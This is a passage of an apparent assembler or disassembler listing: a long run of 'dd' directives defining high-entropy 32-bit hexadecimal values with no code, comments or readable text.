9ED2A010h dd 3DF56D7h, 62FE9F26h, 54C006D5h, 7F022AB2h, 7A07302Ch dd 36E244h, 0A2197184h, 731E63Bh, 0E48F9675h, 56D3F0B3h dd 430F22C5h, 0E0AC03E7h, 40855B02h, 2AFB149Bh, 8305B48Dh dd 2FE0D2Bh, 0A9E42DC4h, 0B9A7B8A0h, 1807D78Ch, 0FE9414Dh dd 0B440B4A5h, 96A2FDBBh, 0A5E248h, 936FC0CEh, 6711F924h dd 700D0E6h, 6416E210h, 33DD1E56h, 0C4C0BEB1h, 2FF94FB8h dd 0A4C11828h, 0AE0AC703h, 0A9DC8AA6h, 73F43069h, 0A467052Ah dd 9AE579h, 8AE005B0h, 9B80A7DBh, 6E900DEh, 819DB928h dd 5002DACh, 8EE177D8h, 39BC3B13h, 671C7E49h, 51390373h dd 5B808C2Ah, 87002EE2h, 0EF66DA6h, 1005F250h, 355ACBAh dd 0CA9FBECFh, 0AF96D08Ah, 255901FBh, 0B57E503Eh, 0F4F6F0CEh dd 1EECFD05h, 90802154h, 2AC6BD4h, 0F2852C77h, 0A080D1A2h dd 7CFD7918h, 370E0B01h, 30B3B2EDh, 0B8FE20h, 0E6FB85CAh dd 0CBB0D9C3h, 3DEEFC03h, 4A5A175h, 0A0E843E0h, 93849399h dd 0E5F69000h, 4EC0F370h, 0BFE40Ch, 31F309Eh, 0B567BBF5h dd 0A4C92F18h, 92B141h, 0A112FA25h, 0A09FC4Dh, 3D37360Ah dd 0D880F073h, 0B84A8BFBh, 1A830027h, 1CCA2E2Fh, 6824DD2Ah dd 0CD00F845h, 0B67D130h, 0FC400538h, 14BC61D0h, 1407FC94h dd 40E7F472h, 52A7D643h, 770E1DF2h, 80BEA2FFh, 0C2796406h dd 0EEBC0753h, 10386837h, 12E89399h, 0BBB61B00h, 0F8AFA61Eh dd 4AE73E22h, 0AB370580h, 1B6533F5h, 0B5A70D00h, 0EA14C671h dd 25783812h, 2EAFFE80h, 76FDFC0h, 0C5002D90h, 52A60BF3h dd 1DEEF629h, 0FF1E697h, 0BC6E9F5Fh, 1B5C77E1h, 0AA0EF8DFh dd 87BFD00h, 9CEAB318h, 5483016Ch, 0ED435339h, 9A5E3066h dd 0E58D3A00h, 0EF85C72Ah, 4EE3008Ah, 2FB288E2h, 0F628254Dh dd 3700D090h, 6F52D15h, 397CF2BEh, 9D0047C0h, 0E9441C38h dd 0F600C197h, 0D2086778h, 0B6F490h, 0EF5AE594h, 48A8995Eh dd 4C91E63Bh, 74077AB3h, 2A07414Ah, 8D115537h, 0E320A128h dd 0B92900D1h, 0B488D0F0h, 0C50768A0h, 8936FE18h, 5E2F7A80h dd 0DF650080h, 0A561028Ch, 5B02CD42h, 2E45277Eh, 87D18005h dd 98D72A71h, 43290175h, 0B8ACFB80h, 7351E039h, 808CA43Dh dd 7F3616F1h, 588DCBA0h, 8005571h, 76BE1762h, 57039F64h dd 0C7D2AACh, 0C9F4E899h, 300A0085h, 366CEE1Ch, 3516FE44h dd 2C40043Ch, 3042F2C5h, 23DF280Dh, 0BC6E06ECh, 10DE5CBBh dd 88F1D213h, 3EF78400h, 7FC7D854h, 0B5F2006Dh, 55C669DCh dd 5498771Bh, 0B9734300h, 94BC1922h, 0DE1F0020h, 0CEAED22Ah dd 0ACFEF8C8h, 2177B218h, 0B0552618h, 118E625Eh, 40D51774h dd 0FC315C24h, 0BAFF006Dh, 0DCF34528h, 3A1CC63Eh, 0DE07F28Fh dd 0ACA09308h, 0FB334C8h, 0EDE96DCDh, 8265CA80h, 7100C513h dd 0D9DA95C0h, 3AF29FCh, 0CEEABBDCh, 0C7B01723h, 30003FB0h dd 42A64522h, 1E03AEDh, 93FF9BB3h, 0E4CA35A4h, 447CEB62h dd 88CB1C24h, 0D7362A00h, 921B5E1h, 7DBFF458h, 0A2C64400h dd 0E6006A8Dh, 8B6F8F92h, 0B48A1FCh, 9DEE4EF1h, 0F5BD0980h dd 4360B5E9h, 2E2B5F70h, 787964h, 2AADDF8Dh, 0AF018F17h dd 0CE99D600h, 0A724371Ah, 84C41DF8h, 0DB9268h, 347ABD82h dd 7E001B4Fh, 642AE37Fh, 0E5923Ah, 793CA702h, 0ECD0E445h dd 8022FF3Ch, 33670F16h, 1BB260h, 4DAC95D1h, 77102F7Eh dd 9C7F0C00h, 22E7D7D2h, 0E4900B1Ch, 0A08280h, 2C5539ECh dd 0CA83481Eh, 0DEA4E00h, 2C92EDD2h, 8374C0DDh, 545E186Eh dd 0C41BE087h, 1A005F85h, 4CFDCC94h, 1FC2A938h, 0C96B5949h dd 50008874h, 696FF161h, 83EEE271h, 0CC3DEB24h, 0E14E5904h dd 198AB0D2h, 9C6442EDh, 0EA599898h, 3C49872Eh, 79633780h dd 90861Dh, 5EE69CEEh, 19B30F3Fh, 0B2A98700h, 0CE08BF42h dd 30DFAEh, 48B669D7h, 7C60593Bh, 0ADCFBA20h, 0F02561C7h dd 0EBE174F9h, 0DCD92BF1h, 0B9134E8Ch, 5C40E846h, 0C96FA7AFh dd 0B5EC30F2h, 0FF49F8D8h, 43823600h, 0F642E4A9h, 75860095h dd 0AA8E9DF3h, 37007350h, 71DD5553h, 0EA032DB7h, 0D8D2030Fh dd 93729AAEh, 92AF1CE8h, 0C0CA160Ah, 0CF00888Fh, 7FBCB47Ch dd 0E37E0F05h, 2760AFFDh, 0D18B83EEh, 8209AC00h, 56C0DCDFh dd 2EAE00A6h, 88155F20h, 233C38A7h, 18B08601h, 4C79D859h dd 0D9056840h, 0D38A3DDDh, 45984F6Ch, 4B1ECE1Dh, 730119EDh dd 0DEFC94E9h, 1F96830h, 5F74DBA9h, 226644F0h, 6AC902F8h dd 0C8C0CF6Bh, 2EDD164h, 0D8CC349Ch, 0C402055h, 610C5157h dd 101AFCB8h, 4A9F00E2h, 0A245505Ch, 434DF24Ch, 3F911D24h dd 0D9C23C00h, 45B789h, 0DA7228BDh, 9AF0DBF8h, 0B6E64A02h dd 480923A9h, 90A3F600h, 42E2BCh, 0AABCE262h, 4BA767E3h dd 0CE217605h, 0EC002C6Eh, 8EBE09Ah, 0A0D20026h, 0B042EDADh dd 0AA28608Bh, 0B600E4B1h, 48763D88h, 279E51h, 0F15F027Bh dd 1DA46383h, 5928CB0Fh, 0DC36E10Bh, 10283152h, 7B17A100h dd 0BC18EA41h, 0BDAF3E24h, 24E0A00h, 590728h, 4CCE9306h dd 75408E20h, 8060053Dh, 3417AC22h, 92DF9A37h, 8507A080h dd 0D51002F7h, 0A6BF0B4h, 87E1A740h, 0D606202h, 0C05CAA01h dd 0FFA7E2h, 4D54A821h, 8F552E76h, 3F2B300h, 2CBE0B94h dd 20A000F4h, 2285CFD8h, 0E538E67Dh, 0D8B4B0B8h, 1B645D9h dd 0CABD8267h, 2CF60A4Bh, 0A835C318h, 0C9E0BF96h, 592F7h dd 0C59C5C74h, 0E7193A1Bh, 0D1D758C0h, 31351DEh, 0F68CB1F0h dd 30C75C88h, 0F5476E26h, 0BEB56806h, 35C7F50h, 9604234Dh dd 0AAB0C837h, 98002AD8h, 0A8C0B807h, 3BAC70D6h, 0E3800DE4h dd 2869B7F0h, 0BD00DCCFh, 231297D2h, 0BFAC6D3h, 6711D9ABh dd 8F636480h, 7700A5FBh, 7C52882Fh, 4C0493B1h, 31001EDEh dd 0ADC67CAh, 0DF7A7D71h, 0D98A600h, 0AC04F0BDh, 320E07DBh dd 616F4E3Bh, 0BCE002C1h, 0ADA80F38h, 505E125Bh, 0CE589180h dd 0FF0658Fh, 4DC3D885h, 0DB9EB8C3h, 36262088h, 0B2FD8101h dd 1063F2A0h, 0E4197C0h, 0CB3A5CEEh, 9880A84Bh, 8CC11394h dd 0FC600628h, 4E687C00h, 0B0B27F56h, 702D6FE6h, 2FAB2482h dd 0B8AACC68h dd 0AC590A0Eh, 0A62582A0h, 0D810E071h, 5FF8B0h, 1A9DC909h dd 50935786h, 0FD1E5200h, 7F603967h, 58A907E1h, 304F8881h dd 83BE90E8h, 560070FAh, 0D63ECC02h, 0FFEC3h, 8EFFAC84h dd 80D59348h, 0A95B4E00h, 30292FD0h, 2BBA0271h, 1EE0FCDh dd 0ED818CA0h, 0C067AA90h, 5E200CA0h, 642B6h, 8740E43Ah dd 0D01B8BE6h, 2B8CDA00h, 238DE802h, 0D73D0014h, 48080AB3h dd 0B2E327Ch, 0F90022E2h, 0E1A45292h, 7A8800C5h, 0D19FF5C9h dd 9A07C4DAh, 751F3C39h, 7CE9E1E0h, 5CFC1C66h, 187A0E8Dh dd 1E9751E0h, 0AC000971h, 0D46AE04Ah, 759E2A8Bh, 7677BEh dd 0FF4BC82Ch, 0D8C5CCFDh, 9465ED00h, 2F5FCFF1h, 7E93008Dh dd 7F686288h, 52006378h, 0B1A37BFDh, 0EFF6E33h, 99C8FEA4h dd 9DDD6CA0h, 9100E479h, 8D25E319h, 0B8AD8345h, 0D2ED0345h dd 0E40CBC87h, 322A0698h, 0D67BB901h, 860BC114h, 24C8F435h dd 0B57100E5h, 916C1CA8h, 9600A0D4h, 0D1F1D3C3h, 754FE3h dd 424658C1h, 62B171C0h, 0DE6D4000h, 5F08EE68h, 9B4A1E16h dd 29E100B0h, 0B87369C6h, 99F6ED00h, 4959792h, 0F053005Bh dd 43D2F96Eh, 0A53CD440h, 300C8951h, 0FAC58010h, 124E96h dd 0EAC692D3h, 7FFE17D0h, 8574A300h, 731447C9h, 77AE004Dh dd 87FBE4EBh, 59120407h, 58851A10h, 0AB045850h, 0AF0116ACh dd 3281868Fh, 304B228Ch, 9D880BA0h, 0D0A110C3h, 0A801E1BBh dd 9D3FEE4h, 6CE68B8Dh, 650C4080h, 0A1F849BAh, 29A96A32h dd 6EFF1051h, 88BB3188h, 5589A769h, 70440F08h, 0D022842Dh dd 22C2F1A5h, 0B924756Dh, 14A35B21h, 7E29E9C6h, 0F502E9EAh dd 89A41910h, 0CB22C241h, 21C12448h, 51391A9h, 4AB6449Ch dd 71427D48h, 51F9268Ch, 1ACD251Eh, 351680FAh, 84983415h dd 2EC30065h, 12BFCFDh, 0CE007AE8h, 12C2963Fh, 0B0268766h dd 0AD6000DDh, 518E650Bh, 7D1F09E1h, 4440EB53h, 0F68A32AFh dd 573C00BAh, 0E27A98EFh, 740938CAh, 81A930F8h, 9046BBE2h dd 3905CDC8h, 9DFB8194h, 9B005ED8h, 0AF33E2E3h, 0CDC30Ah dd 0D21FB2EBh, 8ECF1D9Dh, 0A88A3C00h, 80A00FABh, 0CBC20725h dd 106DEEA9h, 83E922E0h, 65317600h, 0E7544A7Dh, 1149285h dd 6C731FACh, 0FF238B38h, 1C03988Eh, 0AA240870h, 0A88185B6h dd 0B5CC4680h, 2579003Ah, 9D4FA752h, 43007B37h, 1202822Fh dd 1DC1F7h, 990E2E89h, 32DB9433h, 0A4779F00h, 0E6ED3AD8h dd 74974812h, 0E72BB680h, 8500C4C8h, 0D7083D5Ah, 16EBE4h dd 5BE3AA7h, 38B37FCEh, 347A1700h, 0D8A0846Bh, 6A5F0020h dd 74AEC192h, 5D09FADFh, 0E8B981h, 3F693B01h, 0EF500039h dd 0B10711E1h, 0AB00472Fh, 807DEA73h, 96B2F7h, 1824D450h dd 8CA8FD84h, 43423E00h, 0BD608A2Ah, 0DBB0E1Bh, 8660C7C4h dd 0E1341454h, 0F08E5A00h, 60E85124h, 48F51CF8h, 0A9BDC011h dd 530BEAADh, 3FDBD100h, 5F81F25Eh, 561D00B9h, 8A12D774h dd 0BE0E5058h, 4B6E7h, 2E47E6DAh, 8FA90064h, 53885A9Ch dd 0F203220Ch, 9BD98A5h, 9BA19021h, 5D79486Dh, 0DC5728h dd 49072480h, 219283F8h, 51B5100h, 2A84E153h, 0E4590029h dd 37B61595h, 6E1FB187h, 0EB4011E6h, 797E844Dh, 7D2F61Eh dd 0AEA585D3h, 0C68D3099h, 290005BDh, 0A77E3D7h, 1FC952F9h dd 0C0718943h, 0EDA5C8BBh, 0C100F47Ah, 5FF1E367h, 4672F9h dd 0CE526E6Ah, 0B00242FAh, 0B635B02h, 426576A5h, 77C48h dd 0F266AC3h, 0C800C260h, 32D90740h, 125599h, 9EE0FC6Ch dd 0D863A224h, 0B0C0F7F8h, 7DAA7881h, 0B67AFEh, 0AC020B60h dd 844DECAh, 512E70Bh, 0B3B4207Ah, 60E4E599h, 0BCC4580Bh dd 65E2D7F7h, 0BA5AAF00h, 69AB952Ch, 77140F38h, 0F500B633h dd 0CB8C276h, 8DD79A00h, 5B1988CEh, 0F09960DEh, 36A45498h dd 7FBB4200h, 0CF408BCh, 15020075h, 8303898Fh, 0A60F18F0h dd 30E7DFCCh, 0C4EBA200h, 96980EC0h, 0F85DA100h, 7C1E7D4Ah dd 0BCA001E0h, 0B637746Bh, 78E940D1h, 4700F916h, 28406A7Eh dd 0E26627h, 2CEABAFEh, 9F8B1382h, 773E1004h, 0A08002CEh dd 1A7F2D1h, 40663991h, 0DC8E6738h, 600D7C7h, 895E3009h dd 0FCFE96h, 0A1E82523h, 552CC2B1h, 0AB0E5C00h, 459D7CBFh dd 876900E6h, 3D46A0E9h, 5EC0F11h, 148FC200h, 2BFBD168h dd 17C70002h, 8A1E5E9Fh, 0DF003C65h, 0D973B08Fh, 28555871h dd 0B9897E9h, 1A3B4E49h, 2360077h, 0A8F46Ah, 0FE65AABAh dd 3ED4BDE1h, 0E3363903h, 0A01E2D1Ah, 489F98h, 0AEB062EBh dd 0B5F2778Ch, 5BF81200h, 47180F27h, 29BA0958h, 6880A849h dd 4221B5D8h, 0F0C6B420h, 0F01B8993h, 0A01EC873h, 0FBFE132Ch dd 0EE700960h, 2CBCD0Fh, 58D42CEh, 1940F485h, 20EB7297h dd 3B001C4Ch, 145B6022h, 5925EDF9h, 0C51FA874h, 7BC000E4h dd 62170BAEh, 331D6709h, 0AA108599h, 790306EBh, 6977B09Bh dd 85355901h, 68EDF876h, 704904D7h, 81FC7918h, 22B34758h dd 34890094h, 8B01F2E4h, 0C97800D3h, 403C2773h, 880ECCFBh dd 405131B9h, 610791B0h, 81D4A02Bh, 5B42007Bh, 0FACCD897h dd 37FAA525h, 0D0D52E00h, 107A4BA2h, 38EA010Fh, 5D6F486h dd 67F03055h, 6447251Ch, 4313DB80h, 0E93102h, 279E9C0Bh dd 0E33C49FCh, 0A200BA7Ah, 0FE3544FDh, 194AD5Bh, 0B4481B13h dd 2019498Bh, 20E5AAACh, 0C6203200h, 0D34D00B5h, 17C87D9Dh dd 39000FA7h, 0D579F8FFh, 1F2B18A0h, 7D8CA4AAh, 0E64F2504h dd 19688003h, 0A3E66048h, 0BCD91F00h, 0F29DB4Eh, 0C0BF07C1h dd 700EE6B4h, 0DD36644Ah, 2B309C04h, 74C0F85Bh, 7D4753A7h dd 0CDAD0132h, 27313FDEh, 9480D2BCh, 0D906BD61h, 0B3E96501h dd 73DE54A7h, 51CBAFF4h, 8320884Bh, 0C696008Eh, 44E9FF49h dd 0B507CEDCh, 1FEF3146h, 0EC3BC0DEh, 5842015h, 2A6AD0D1h dd 0CC88041h, 60772EB2h, 22AE9700h, 1256C5CAh, 7E4A061Bh dd 28385D20h, 3D001890h, 0F7E493ABh, 0C3F980h, 6976027Dh dd 0F0D84C88h, 5273EC03h, 0E83EB5FCh, 648DBAh, 0EA0C924h dd 0F4B466F7h, 7E0029F4h, 0B022E40Ah, 3C45EFDh, 0BBE8AC75h dd 66F0411Dh, 0A3000129h, 4F2FC3B2h, 484DDB9Bh, 4B0656B9h dd 3640DEE4h, 0AE3BF703h, 0C8A49D51h, 3ED1FB7h, 314BEB90h dd 0BF88FDD8h, 2600AC5Ah, 417B98Dh, 9B6118h, 83C470DFh dd 0FA57020Eh, 0FF78E600h, 73C6D785h, 2EB32EA1h, 0ADA8088h dd 0DF518F5Eh, 0F56F0F03h, 0B8E47644h, 0B83715BFh, 77F6168Ch dd 0FEA80006h, 0B0DC211Ah, 6600D3F4h, 0B5AA3305h, 2A42D19h dd 0C8C34B22h, 0B480DA6Ch, 868C1F34h, 0D81CB107h, 78A7E33Eh dd 8F9B30B0h, 0CF6A00AAh, 21EEDDEAh, 4F002B3Fh, 7B59C6D3h dd 1364FB22h, 5654854h, 80070EE8h, 0C8A0E32Eh, 0BE8AA02h dd 42B58DBDh, 0EE5C8036h, 48CAE417h, 8500B470h, 0F8D80BC5h dd 667B3174h, 5F5AB100h, 5E48AF15h, 1BDF0096h, 46F7FA91h dd 0B503CD03h, 115AB3A7h, 0B233C09Bh, 7CE407h, 12D2F1DCh dd 4341B9C0h, 0E76F3A1Dh, 2290A49h, 0C097A9C0h, 0C7F708h dd 5C2114Ah, 0F82AFE27h, 38D6E203h, 0C841DABFh, 5A88778h dd 8A37CF70h, 0E863C021h, 0A900E118h, 9B04105Dh, 172F6h dd 0CCE26EB3h, 0B4D48A09h, 0E4AECB00h, 956C6A7Dh, 36730011h dd 53F8782Fh, 9B7829D5h, 0D5C8F028h, 0A6136A03h, 0F8835814h dd 0E24E93h, 77501AA9h dd 5BDB3BB9h, 0DF6EEA00h, 62514098h, 0FAD07158h, 378B6h dd 0C70D2356h, 73C4F882h, 0AF16200Bh, 90288265h, 1E7860BDh dd 5DC90095h, 336CC78Eh, 0EE009D36h, 0DF8BA798h, 3178EAh dd 4FCF792Ah, 3C43E0A6h, 0D2B23505h, 83008F14h, 8DB16F5Fh dd 0A0F00D6h, 0EFE0CE0h, 4A014F44h, 5CAB24DDh, 12F0BB37h dd 78DFABCh, 6D906F34h, 7CCEC0FFh, 0B100E43Eh, 3FC85321h dd 468866h, 5D2E4915h, 0AB4CBBC3h, 126EE93Ch, 100370C5h dd 0A8111F5Ah, 0DDAF27h, 0A37A5228h, 18A96B4Ch, 0E1BEBF1Ch dd 0F216007Eh, 0FB0A9E80h, 0D91300EDh, 8D4E54Ah, 0F8E2ECE8h dd 41543C01h, 2BC62AC4h, 0E91BE8h, 0FA958439h, 99223E92h dd 1A84800h, 804B60E3h, 1BBF017Dh, 0D261DD5h, 0B0A57006h dd 0A5139D00h, 0F643A91h, 0E3A100B8h, 0FB598699h, 0A6002DCAh dd 57FD4416h, 7C28DAh, 0E3A348F2h, 873C6376h, 8D12DE00h dd 42B5619h, 1B270082h, 377C3592h, 64986CDAh, 180D461Dh dd 8A61FD43h, 310898B3h, 426B00A8h, 54AECD0h, 0D27F3BB1h dd 150BCB00h, 21406EA9h, 2781011Ch, 7E8D4FB7h, 0D098DFD1h dd 0B00073E5h, 0B9103F69h, 3ACEB8E0h, 0EC0082A9h, 8A908DCAh dd 191CD65Bh, 97E29FDh, 8159FB94h, 0E1A02511h, 35C460h dd 0D00AFF17h, 0B1BE87D8h, 0B93FA47Ch, 66DD9DD1h, 300D3C80h dd 6EA05Bh, 855AB2FDh, 0CC4B14DCh, 0A923ED00h, 93C03843h dd 84283059h, 0F1D189C8h, 0AD30C501h, 1AAF9754h, 0B9E4D0h dd 0FB3CF03Ah, 8EE57A16h, 8AFC7E14h, 50EB50A0h, 71C53000h dd 0E82F441Ah, 0B64800B1h, 2A85CD76h, 0CF0124F1h, 425B17C3h dd 0EC7113C7h, 7B0DC8h, 344CFECEh, 560F2A66h, 48189F38h dd 0F71B0330h, 0D893FDB1h, 7CECD53Dh, 7D071DEDh, 0F4DDC057h dd 51C940B6h, 65320A1Ch, 0DEBCB9C0h, 0F22F2086h, 5BF13B15h dd 50586F80h, 22783562h, 0D8597A01h, 907F8BD3h, 9031E9FCh dd 0FE4BF084h, 417C0140h, 43BA6682h, 4010318Ah, 0D39E59A8h dd 8F02C2E6h, 0E10CE330h, 3EC48042h, 0F122F4h, 7B181B87h dd 1082484Ch, 1DB3E800h, 885DB7BEh, 375EAC8h, 5345A256h dd 0D9E0E494h, 1600E715h, 52CF0A7Dh, 5F5947h, 79F5105h dd 337B71E4h, 0BFBBE702h, 602E3F2Dh, 0E54924h, 9C21B4B3h dd 1D79221Ah, 8852A90Eh, 81D96080h, 1C45A132h, 0CE06BB5Ch dd 0DB400E95h, 0BE2C9AC3h, 0CDE9A300h, 0D463880Fh, 4340104Dh dd 25E308AFh, 0E1A2E18Bh, 2F94D89Bh, 6F17D518h, 8ECF19h dd 0BCCA8A25h, 75A62641h, 28A70702h, 0A0367722h, 0C18E96A4h dd 0E00300B7h, 0B0800B59h, 0FE008CE2h, 0A90E6935h, 7C1AADAh dd 0B65CBC33h, 0DB440087h, 0E1E68671h, 5A9EF01h, 8A672F17h dd 9051E9ECh, 0F01604E4h, 8203AB73h, 0BC408F14h, 3C07A2BFh dd 0F196F79Ch, 7D7A5700h, 0A0DD0C6Bh, 499042ECh, 0F6CC8F07h dd 0EE208F8h, 0AECC404Dh, 0C8A9005Ch, 0A68F0A1Ch, 0AD09AB7Ch dd 80548A22h, 5CB6F208h, 67101h, 657ED746h, 21F5CD87h dd 0E859F000h, 0D670B1E3h, 930F0040h, 4AB6D330h, 0EEEA8C8Ah dd 0A1E938h, 0FBA0E280h, 0E80BEDF1h, 1B8D00A7h, 0FD5A7752h dd 0C2003B62h, 2ECEF7Ch, 0D34207h, 5D976D7Ah, 73C051E5h dd 0A899CF00h, 0C5E40852h, 502F0B9h, 0D0E95A1Ah, 0EC8C0753h dd 30008963h, 0FAACB2E5h, 3D644F00h, 0B4BDC58Ah, 29500032h dd 892CA602h, 7C30D92Ah, 0E0EFB835h, 7E8B84Dh, 8077F13Eh dd 0A1A46E3Dh, 10CC0F3h, 875442E6h, 5E000CB4h, 0F82C203Bh dd 0FADE0B81h, 4A31148Fh, 9F11D466h, 0F2E005Bh, 0B7F73746h dd 557F096Ah, 64072B8Bh, 44087083h, 0C1002691h, 60F699D2h dd 1F86876h, 69345EB8h, 0BEDD759Ah, 4758F648h, 0D0F60FF7h dd 21462006h, 0BE8696h, 410DFEB8h, 53ABCD36h, 77A6C400h dd 0E3035239h, 0B1AE0014h, 1C3D446Eh, 27092195h, 80FE4FB8h dd 0A5A1B995h, 7B820090h, 0CB319F30h, 0F9003ED0h, 74BD56B6h dd 0BFE7DB8h, 4AD584F2h, 69D1BF80h, 0EF009482h, 5CD35EE1h dd 91088EDh, 0BA3D4884h, 0D09E9007h, 7326F214h, 80651A06h dd 0FCF827B5h, 98EB304Ch, 6273F2D9h, 0BA8F19C0h, 0B43B80Bh dd 9BFBB48Ch, 0C03B1C20h, 6924E4D7h, 0EB0F5007h, 0A11C40CDh dd 1E6D65D4h, 0F85BA0FEh, 85C60900h, 0E9F16126h, 87007C7Bh dd 988320CEh, 2FEB9Bh, 0A73AFBC3h, 0CA5176D2h, 0D36E2301h dd 597B52D9h, 1ED19EF4h, 8055946Bh, 42BD5AACh, 494CE916h dd 0B4701F4Ch, 4C9090A8h, 0A15B2C12h, 0B5C00318h, 61D81851h dd 0E2ED20CAh, 1F0E5900h, 8576FC92h, 57E1DAAh, 576F8030h dd 0ECDA80EFh, 565D7800h, 0A54AF28Dh, 664300E1h, 6A39F83Fh dd 4C98AD1Fh, 7779BF00h, 0B635F765h, 0D72000DFh, 2EBC4B28h dd 5900029Dh, 18511ABBh, 70D8212h, 4DB85629h, 10C18009h dd 0AA3FC2EBh, 779580EEh, 0F29259A6h, 0F7AF00B4h, 0EB28634Eh dd 0B507178Eh, 5705E215h, 0D000AD25h, 827CBFBh, 0B934130Bh dd 96F80047h, 4A06BECCh, 70A07703h, 0A899AF2Fh, 2CE7EB8h dd 3ACF177Dh, 5863E7B2h, 0FD04900h, 0B9386FF4h, 9EF8000Eh dd 6E49FE04h, 0C072D691h, 5E076C00h, 1675207Ah, 98AF7580h dd 7FDB0140h, 0EC47B631h, 0E8DD61B5h, 5EE9657h, 4D12CC90h dd 1C309ED4h, 0E2B0EAEEh, 83CE00F0h, 0E18A32Bh, 0AB00CAF9h dd 0A68ED278h, 90A14AD0h, 0F37870h, 0EAC5EE3Ah, 75122593h dd 0FFB42C00h, 1F71B284h, 4E2100DDh, 46387944h, 0BD00080Eh dd 0EF14DACCh, 246ED816h, 0AA41B5Ch, 0F2E29Eh, 0CE07597Ch dd 79E21633h, 0DCA94730h, 0BF3893h, 0C7F41D26h, 311B0641h dd 9DED300h, 9CE8BA07h, 3CF8A045h, 132A7FEBh, 553FE7Ch dd 9CCDCh, 0EFA7BDE4h, 2C017465h, 0AB46D3D0h, 0CACCE09Ch dd 0A4295804h, 0BD00FD3Bh, 0FC8EDF33h, 2D48B3C0h, 0C6252E50h dd 78D00Eh, 89535EBBh, 82CE001Dh, 5B76F32Ch, 0E70758AEh dd 3FAA1F4Bh, 8F396AA0h, 0A0E6000Ch, 7275FA1Ch, 0CF03D992h dd 0AF1FE847h, 4FB000AEh, 0B45720CAh, 864AEB6Eh, 0C826AC0Ch dd 0B0374C7Ah, 80115F1Dh, 688710E1h, 1A0BD503h, 0AFB2A20Bh dd 0BD48E230h, 8054CA0Fh, 37FF3DB4h, 8DB818C8h, 0F04019DFh dd 4DCD2200h, 46C0FB84h, 72D90E2Bh, 2EC0A3A5h, 0BDD68B43h dd 0DC0A1D00h, 8F554E9h, 4444ABAh, 90CA88D8h, 0A55D3668h dd 0CFA85906h, 4838C8h, 6AFF4A84h, 8AB9F906h, 26E92000h dd 897ABC19h, 478C37F8h, 627D1060h, 6F39F964h, 29480B4h dd 0AF4AE935h, 74BB2CEBh, 3DA600DAh, 82BF23D8h, 0C14E513h dd 15AF7800h, 9FB9C7h, 249A7B1h, 0F10E99A1h, 8B2CF900h dd 0CAEC695h, 11476714h, 0EA1C10AAh, 0B4B0EC0Eh, 76F89000h dd 86069375h, 417A0112h, 0A2F3D213h, 3960F6E4h, 0EC00CD04h dd 0D3C7F20Ah, 74DD823h, 996CDC2Eh, 7D00A48h, 0D5707AE8h dd 1319801Ch, 0B8FE14B5h, 0D132FC00h, 73A3A644h, 461E3F1Dh dd 0AFC99487h, 238C300Bh, 4F790314h, 6A08607h, 0A5201A1Ch dd 4772A7h, 896AA2D3h, 74F1226Eh, 56D05D03h, 0B08A79ACh dd 14DBC64Ah, 8858E947h, 0F3E850h, 4C0B7513h, 0DDF7E177h dd 2D7D0979h, 0AA002D98h, 23604A2h, 0C34770h, 48D2CEB7h dd 0FA4E5A61h, 0A701A9F2h, 2BD32A60h, 40FE08DAh, 751ADC8h dd 7FC83BC1h, 251AC322h, 0EF7D86A0h, 0FA069F00h, 0EE45FC31h dd 0A24900AFh, 75C029DBh dd 0E1138D7Ah, 0B84064B0h, 22EB6B57h, 67900017h, 0C02C1969h dd 0CC007E8Eh, 0CC8994Eh, 99A34h, 0F05E7A59h, 0A9887DEBh dd 0C1004FF0h, 9E89FD99h, 7E363h, 32CF184Dh, 0F1F408F6h dd 254CA848h, 0ACE0806Eh, 0A814BB4h, 356D8029h, 0E59F00D4h dd 82246C9Bh, 4E00547Eh, 0BE9CCED8h, 2F744A6h, 63A05BC3h dd 26C1AA77h, 24CC7040h, 1DB4C00h, 0CB4E83F3h, 0AD453E66h dd 69007A5Ch, 0E587C056h, 0FD0EE13Ah, 0C0421120h, 15220577h dd 1EB70546h, 0C151FC75h, 31580D84h, 0CD08DC50h, 74ADCBA1h dd 80A13028h, 0E7A8DF2Ch, 0FE242F68h, 0CD807408h, 0E5E83FA9h dd 0F137948h, 8675C13Dh, 0E0B74A0h, 0B002E645h, 0C2E793BFh dd 91C2C160h, 2EAEB4D8h, 80DC7BF8h, 5FB7BCCAh, 972607A0h dd 37003899h, 0B854F8E2h, 0B0961Eh, 0A9E7FA75h, 17EC271h dd 0E936F200h, 46540340h, 0C7100B0Bh, 0E0B876A2h, 0F8EB9F34h dd 0D41CB45Bh, 0C505ECEDh, 7485430Ah, 0E553D8D0h, 455000D8h dd 0F11A301Eh, 6F12D366h, 0EA9587h, 0DBC1C993h, 641FF23Eh dd 7D404171h, 0D675C407h, 9B6500A3h, 0F3A83A91h, 34025FB5h dd 45104C4Dh, 0B7336030h, 6971ABh, 0ED2A806Bh, 945774EEh dd 19F37101h, 0D7F9538Fh, 24C6D341h, 239F560h, 2B79B498h dd 15DE5244h, 0C88A309h, 19B5CC2h, 0DCEDD73h, 82BE0C44h dd 3565140h, 0FF846801h, 0C7330085h, 43324DBBh, 0DE00CE26h dd 5F4ED2C1h, 0CD5140h, 4CBAC0E1h, 0F1354231h, 18C4B528h dd 0B9113760h, 14523473h, 0FCE8965Eh, 0AFD0D63Dh, 11C664F3h dd 175704E4h, 93850052h, 90DB451Ch, 0A3009CB8h, 6533050Eh dd 0E35037Bh, 9C2C2104h, 0B5E76642h, 0DD142848h, 54D26B00h dd 0EB53DE2Bh, 3B8203E2h, 0D48E3033h, 7BD6590Eh, 0E8AC6CABh dd 9B2E2E16h, 0A107BCD0h, 37267329h, 0AD234072h, 0D000ACC1h dd 86A60789h, 0F1A434h, 314E90D1h, 92012058h, 2B0048F8h dd 0C045965h, 2738E609h, 0A3D88E2Eh, 0CAC7D313h, 0E0865E00h dd 44EDB2h, 0BA56B32Dh, 926D9DC9h, 0BBFA2200h, 63AEEA2Ah dd 7ADA07B0h, 0D0D73306h, 49082042h, 3F13CC04h, 1CB05EDEh dd 0DFA80E7Ah, 0B600988Ah, 1E0FB869h, 53BF580Bh, 1B587FAh dd 6999620h, 317B0718h, 0E06E485Bh, 3B506AD8h, 0DE30B098h dd 47B75154h, 5CE2002Ah, 0B96D036Fh, 0D600C65Ah, 58605B32h dd 952251h, 2A8EB28Ah, 1F57EC83h, 8DA49D04h, 1C907E39h dd 0A350716h, 0DCD92522h, 690380CCh, 6BD8B502h, 8CE37E3Eh dd 10EDAC15h, 453931A3h, 406FE82Ah, 0FD79F8CCh, 31585708h dd 2B96802Fh, 933DA545h, 32B90F3Dh, 720B7129h, 0F1D6A178h dd 0FC95C06Ah, 19CF58DEh, 94CE278Ah, 0EDF336F7h, 0DDA6F0FAh dd 